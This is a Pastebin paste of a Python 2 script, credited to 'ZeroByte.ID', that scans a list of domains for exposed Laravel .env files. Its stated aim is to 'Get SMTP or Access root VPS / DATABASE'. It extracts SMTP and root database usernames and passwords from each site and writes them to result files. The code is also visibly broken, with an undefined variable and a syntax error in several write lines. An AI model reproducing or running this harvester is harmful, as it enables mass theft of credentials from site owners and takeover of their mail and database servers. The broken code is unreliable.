Advertisement
Guest User

Untitled

a guest
Apr 11th, 2019
156
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.03 KB | None | 0 0
  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3. # Environment Laravel
  4. # [ GET SMTP & GET username ROOT (Maybe u can get it DATABASE or VPS) ]
  5. #
  6. # @Author : ZeroByte.ID
  7. # @Github : github.com/zerobyte-id
  8. #
  9. #
  10. import threading
  11. import requests
  12. import random
  13. import datetime
  14. import re
  15. from multiprocessing import Pool
  16. from multiprocessing.dummy import Pool as ThreadPool
  17. from time import time as timer
  18.  
  19. class bcolors:
  20.  
  21. HEADER = '\033[95m'
  22.  
  23. OKBLUE = '\033[94m'
  24.  
  25. OKGREEN = '\033[92m'
  26.  
  27. WARNING = '\033[93m'
  28.  
  29. FAIL = '\033[91m'
  30.  
  31. ENDC = '\033[0m'
  32.  
  33. BOLD = '\033[1m'
  34.  
  35. WHITE = '\033[1;37m'
  36.  
  37. print bcolors.WHITE
  38. print"""
  39. __ __
  40. / / ____ __________ __ _____ / /
  41. / / / __ `/ ___/ __ `/ | / / _ \/ /
  42. / /___/ /_/ / / / /_/ /| |/ / __/ /___
  43. /_____/\__,_/_/ \__,_/ |___/\___/_____/
  44. Environment
  45. -- ZeroByte.ID --"""
  46. print bcolors.FAIL + "[ * ] Get SMTP or Access root VPS / DATABASE [ * ]"
  47. print bcolors.ENDC
  48.  
  49. def kuy(lEnVy):
  50.  
  51. try:
  52. eNv = "http://{}/.env".format(lEnVy)
  53.  
  54. headers = {
  55. 'Connection': 'keep-alive',
  56. 'Cache-Control': 'max-age=0',
  57. 'Upgrade-Insecure-Requests': '1',
  58. 'User-Agent': 'Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36',
  59. 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
  60. 'Accept-Encoding': 'gzip, deflate',
  61. 'Accept-Language': 'en-US,en;q=0.9,fr;q=0.8',
  62. }
  63.  
  64. rsmTP = requests.get(eNv, headers=headers, allow_redirects=True, timeout=3)
  65.  
  66. if "mailtrap.io" in rsmTP.text:
  67.  
  68. print("\033[1;31;40m")
  69.  
  70. print "[ - ] NOT FOUND SMTP [ - ] \n"
  71.  
  72. elif rsmTP.status_code == 200:
  73.  
  74. if "APP_NAME" in rsmTP.text:
  75.  
  76. UEnVy.write(eNv + '\n')
  77.  
  78. print("\033[1;32;40m")
  79.  
  80. if "MAIL_HOST" in rsmTP.text:
  81.  
  82. SMTP = re.findall('MAIL_HOST=(.*)', rsmTP.text)
  83.  
  84. PORT = re.findall('MAIL_PORT=(.*)', rsmTP.text)
  85.  
  86. USERNAME = re.findall('MAIL_USERNAME=(.*)', rsmTP.text)
  87.  
  88. PASSWORD = re.findall('MAIL_PASSWORD=(.*)', rsmTP.text)
  89.  
  90. NAME = re.findall('MAIL_FROM_NAME=(.*)', rsmTP.text)
  91.  
  92. ADRESSE = re.findall('MAIL_FROM_ADDRESS=(.*)', rsmTP.text)
  93.  
  94. MENCRYPTION = re.findall('MAIL_ENCRYPTION=(.*)', rsmTP.text)
  95.  
  96. if "smtp.mailtrap.io" in SMTP:
  97.  
  98. print("\033[1;31;40m")
  99.  
  100. print "[ - ] NOT FOUND SMTP [ - ] \n"
  101.  
  102. elif "localhost" in SMTP:
  103.  
  104. print("\033[1;31;40m")
  105.  
  106. print "[ - ] NOT FOUND SMTP [ - ] \n"
  107.  
  108. elif "null" in SMTP:
  109.  
  110. print("\033[1;31;40m")
  111.  
  112. print "[ - ] NOT FOUND SMTP [ - ] \n"
  113.  
  114. else:
  115.  
  116. print "[ + ] FOUND SMTP [ + ]"
  117.  
  118. print "\n= = = = = = = = = = = = = = = = = = = = = = = ="
  119.  
  120. print "SMTP HOST => {}".format(SMTP[0])
  121.  
  122. print "SMTP PORT => {}".format(PORT[0])
  123.  
  124. print "SMTP USERNAME => {}".format(USERNAME[0])
  125.  
  126. print "SMTP PASSWORD => {}".format(PASSWORD[0])
  127.  
  128. print "SMTP NAME => {}".format(NAME[0])
  129.  
  130. print "SMTP EMAIL => {}".format(EMAIL[0])
  131.  
  132. print "SMTP ENCRYPTION => {}".format(MENCRYPTION[0])
  133.  
  134. print "= = = = = = = = = = = = = = = = = = = = = = = ="
  135.  
  136. SEnVy.write('SMTP HOST : ' + SMTP[0] + '\nSMTP PORT : ' + PORT[0] + '\nSMTP USERNAME : ' + USERNAME[0] + '\nSMTP PASSWORD : ' + PASSWORD[0] + '\nSMTP NAME : ' + NAME[0] + '\nSMTP EMAIL : ' + EMAIL[0] + '\nSMTP ENCRYPTION : ' + MAIL ENCRYPTION[0] + '\n\n')
  137.  
  138.  
  139.  
  140. elif "SMTP_HOST" in rsmTP.text:
  141.  
  142. SMTP = re.findall('SMTP_HOST=(.*)', rsmTP.text)
  143.  
  144. PORT = re.findall('SMTP_PORT=(.*)', rsmTP.text)
  145.  
  146. USERNAME = re.findall('SMTP_USERNAME=(.*)', rsmTP.text)
  147.  
  148. PASSWORD = re.findall('SMTP_PASSWORD=(.*)', rsmTP.text)
  149.  
  150. NAME = re.findall('SMTP NAME=(.*)', rsmTP.text)
  151.  
  152. ADRESSE = re.findall('SMTP EMAIL=(.*)', rsmTP.text)
  153.  
  154. MENCRYPTION = re.findall('MAIL_ENCRYPTION=(.*)', rsmTP.text)
  155.  
  156. if "smtp.mailtrap.io" in SMTP:
  157.  
  158. print("\033[1;31;40m")
  159.  
  160. print "[ - ] NOT FOUND SMTP [ - ] \n"
  161.  
  162. elif "localhost" in SMTP:
  163.  
  164. print("\033[1;31;40m")
  165.  
  166. print "[ - ] NOT FOUND SMTP [ - ] \n"
  167.  
  168. elif "null" in SMTP:
  169.  
  170. print("\033[1;31;40m")
  171.  
  172. print "[ - ] NOT FOUND SMTP [ - ] \n"
  173.  
  174. else:
  175.  
  176. print "\n= = = = = = = = = = = = = = = = = = = = = = = ="
  177.  
  178. print "SMTP HOST => {}".format(SMTP[0])
  179.  
  180. print "SMTP PORT => {}".format(PORT[0])
  181.  
  182. print "SMTP USERNAME => {}".format(USERNAME[0])
  183.  
  184. print "SMTP PASSWORD => {}".format(PASSWORD[0])
  185.  
  186. print "SMTP NAME => {}".format(NAME[0])
  187.  
  188. print "SMTP EMAIL => {}".format(EMAIL[0])
  189.  
  190. print "SMTP ENCRYPTION => {}".format(MENCRYPTION[0])
  191.  
  192. print "= = = = = = = = = = = = = = = = = = = = = = = ="
  193.  
  194. SEnVy.write('SMTP HOST : ' + SMTP[0] + '\nSMTP PORT : ' + PORT[0] + '\nSMTP USERNAME : ' + USERNAME[0] + '\nSMTP PASSWORD : ' + PASSWORD[0] + '\nSMTP NAME : ' + NAME[0] + '\nSMTP EMAIL : ' + EMAIL[0] + '\nSMTP ENCRYPTION : ' + MAIL ENCRYPTION[0] + '\n\n')
  195.  
  196. elif "mailtrap.io" in rsmTP.text:
  197.  
  198. print("\033[1;31;40m")
  199.  
  200. print "[ - ] NOT FOUND SMTP [ - ] \n"
  201.  
  202. elif "DB_USERNAME=root" in rsmTP.text:
  203.  
  204. ROOTU = re.findall('DB_USERNAME=(.*)', rsmTP.text)
  205.  
  206. ROOTP = re.findall('DB_PASSWORD=(.*)', rsmTP.text)
  207.  
  208. print bcolors.WARNING + "[ + ] Maybe you can get VPS / DATABASE [+]"
  209.  
  210. REnVy.write('HOSTS : ' + lEnVy + '\nUSERNAME : ' + ROOTU[0] + '\nPASSWORD : ' + ROOTP[0] + '\n\n')
  211.  
  212.  
  213.  
  214. elif rsmTP.status_code == 302:
  215.  
  216. if "APP_NAME" in rsmTP.text:
  217.  
  218. UEnVy.write(eNv + '\n')
  219.  
  220. if "MAIL_HOST" in rsmTP.text:
  221.  
  222. SMTP = re.findall('MAIL_HOST=(.*)', rsmTP.text)
  223.  
  224. PORT = re.findall('MAIL_PORT=(.*)', rsmTP.text)
  225.  
  226. USERNAME = re.findall('MAIL_USERNAME=(.*)', rsmTP.text)
  227.  
  228. PASSWORD = re.findall('MAIL_PASSWORD=(.*)', rsmTP.text)
  229.  
  230. NAME = re.findall('MAIL_FROM_NAME=(.*)', rsmTP.text)
  231.  
  232. ADRESSE = re.findall('MAIL_FROM_ADDRESS=(.*)', rsmTP.text)
  233.  
  234. MENCRYPTION = re.findall('MAIL_ENCRYPTION=(.*)', rsmTP.text)
  235.  
  236. if "smtp.mailtrap.io" in SMTP:
  237.  
  238. print("\033[1;31;40m")
  239.  
  240. print "[ - ] NOT FOUND SMTP [ - ] \n"
  241.  
  242. elif "localhost" in SMTP:
  243.  
  244. print("\033[1;31;40m")
  245.  
  246. print "[ - ] NOT FOUND SMTP [ - ] \n"
  247.  
  248. elif "null" in SMTP:
  249.  
  250. print("\033[1;31;40m")
  251.  
  252. print "[ - ] NOT FOUND SMTP [ - ] \n"
  253.  
  254. else:
  255.  
  256. print "[ + ] FOUND SMTP [ + ]"
  257.  
  258. print "\n= = = = = = = = = = = = = = = = = = = = = = = ="
  259.  
  260. print "SMTP HOST => {}".format(SMTP[0])
  261.  
  262. print "SMTP PORT => {}".format(PORT[0])
  263.  
  264. print "SMTP USERNAME => {}".format(USERNAME[0])
  265.  
  266. print "SMTP PASSWORD => {}".format(PASSWORD[0])
  267.  
  268. print "SMTP NAME => {}".format(NAME[0])
  269.  
  270. print "SMTP EMAIL => {}".format(EMAIL[0])
  271.  
  272. print "SMTP ENCRYPTION => {}".format(MENCRYPTION[0])
  273.  
  274. print "= = = = = = = = = = = = = = = = = = = = = = = ="
  275.  
  276. SEnVy.write('SMTP HOST : ' + SMTP[0] + '\nSMTP PORT : ' + PORT[0] + '\nSMTP USERNAME : ' + USERNAME[0] + '\nSMTP PASSWORD : ' + PASSWORD[0] + '\nSMTP NAME : ' + NAME[0] + '\nSMTP EMAIL : ' + EMAIL[0] + '\nMAIL ENCRYPTION : ' + MAIL ENCRYPTION[0] + '\n\n')
  277.  
  278.  
  279.  
  280.  
  281. elif "SMTP_HOST" in rsmTP.text:
  282.  
  283. SMTP = re.findall('SMTP_HOST=(.*)', rsmTP.text)
  284.  
  285. PORT = re.findall('SMTP_PORT=(.*)', rsmTP.text)
  286.  
  287. USERNAME = re.findall('SMTP_USERNAME=(.*)', rsmTP.text)
  288.  
  289. PASSWORD = re.findall('SMTP_PASSWORD=(.*)', rsmTP.text)
  290.  
  291. NAME = re.findall('SMTP NAME=(.*)', rsmTP.text)
  292.  
  293. ADRESSE = re.findall('SMTP EMAIL=(.*)', rsmTP.text)
  294.  
  295. MENCRYPTION = re.findall('MAIL_ENCRYPTION=(.*)', rsmTP.text)
  296.  
  297. if "smtp.mailtrap.io" in SMTP:
  298.  
  299. print("\033[1;31;40m")
  300.  
  301. print "[ - ] NOT FOUND SMTP [ - ] \n"
  302.  
  303. elif "localhost" in SMTP:
  304.  
  305. print("\033[1;31;40m")
  306.  
  307. print "[ - ] NOT FOUND SMTP [ - ] \n"
  308.  
  309. elif "null" in SMTP:
  310.  
  311. print("\033[1;31;40m")
  312.  
  313. print "[ - ] NOT FOUND SMTP [ - ] \n"
  314.  
  315. else:
  316.  
  317. print "[ + ] FOUND SMTP [ + ]"
  318.  
  319. print "\n= = = = = = = = = = = = = = = = = = = = = = = ="
  320.  
  321. print "SMTP HOST => {}".format(SMTP[0])
  322.  
  323. print "SMTP PORT => {}".format(PORT[0])
  324.  
  325. print "SMTP USERNAME => {}".format(USERNAME[0])
  326.  
  327. print "SMTP PASSWORD => {}".format(PASSWORD[0])
  328.  
  329. print "SMTP NAME => {}".format(NAME[0])
  330.  
  331. print "SMTP EMAIL => {}".format(EMAIL[0])
  332.  
  333. print "SMTP ENCRYPTION => {}".format(MENCRYPTION[0])
  334.  
  335. print "= = = = = = = = = = = = = = = = = = = = = = = ="
  336.  
  337. SEnVy.write('SMTP HOST : ' + SMTP[0] + '\nSMTP PORT : ' + PORT[0] + '\nSMTP USERNAME : ' + USERNAME[0] + '\nSMTP PASSWORD : ' + PASSWORD[0] + '\nSMTP NAME : ' + NAME[0] + '\nSMTP EMAIL : ' + EMAIL[0] + '\nMAIL ENCRYPTION : ' + MAIL ENCRYPTION[0] + '\n\n')
  338.  
  339.  
  340. elif "DB_USERNAME=root" in rsmTP.text:
  341.  
  342. ROOTU = re.findall('DB_USERNAME=(.*)', rsmTP.text)
  343.  
  344. ROOTP = re.findall('DB_PASSWORD=(.*)', rsmTP.text)
  345.  
  346. print bcolors.WARNING + "[ + ] Maybe you can get VPS / DATABASE [+]"
  347.  
  348. REnVy.write('HOSTS : ' + lEnVy + '\nUSERNAME : ' + ROOTU[0] + '\nPASSWORD : ' + ROOTP[0] + '\n\n')
  349.  
  350. else:
  351.  
  352. print bcolors.FAIL + "[ - ] CAN'T FOUND BUG [ - ]"
  353.  
  354. except:
  355.  
  356. pass
  357.  
  358.  
  359. def Main():
  360.  
  361.  
  362. try:
  363.  
  364. start = timer()
  365.  
  366. pp = ThreadPool(6)
  367.  
  368. pr = pp.map(kuy, lEnVy)
  369.  
  370. print bcolors.ENDC
  371.  
  372. print('Time: ' + str(timer() - start) + ' seconds')
  373.  
  374. pr.join()
  375.  
  376. except:
  377.  
  378. pass
  379.  
  380. try:
  381.  
  382. li = raw_input(" [ - ] Input your file domain list : ")
  383.  
  384. lEnVy = open(li, "r").read().split()
  385.  
  386. lEnVy.sort() # Sort (A - Z)
  387.  
  388. except IOError:
  389.  
  390. pass
  391.  
  392. bNyak = len(list(lEnVy)) # Banyak line
  393.  
  394. print " [ + ] Total Domain : {} \n".format(bNyak)
  395. SEnVy = open("SMTP-Result.txt", 'w')
  396. REnVy = open("ROOT-Result.txt", 'w')
  397. UEnVy = open("ENV-URL-Result.txt", 'w')
  398. Main()
  399. SEnVy.close()
  400. REnVy.close()
  401. UEnVy.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement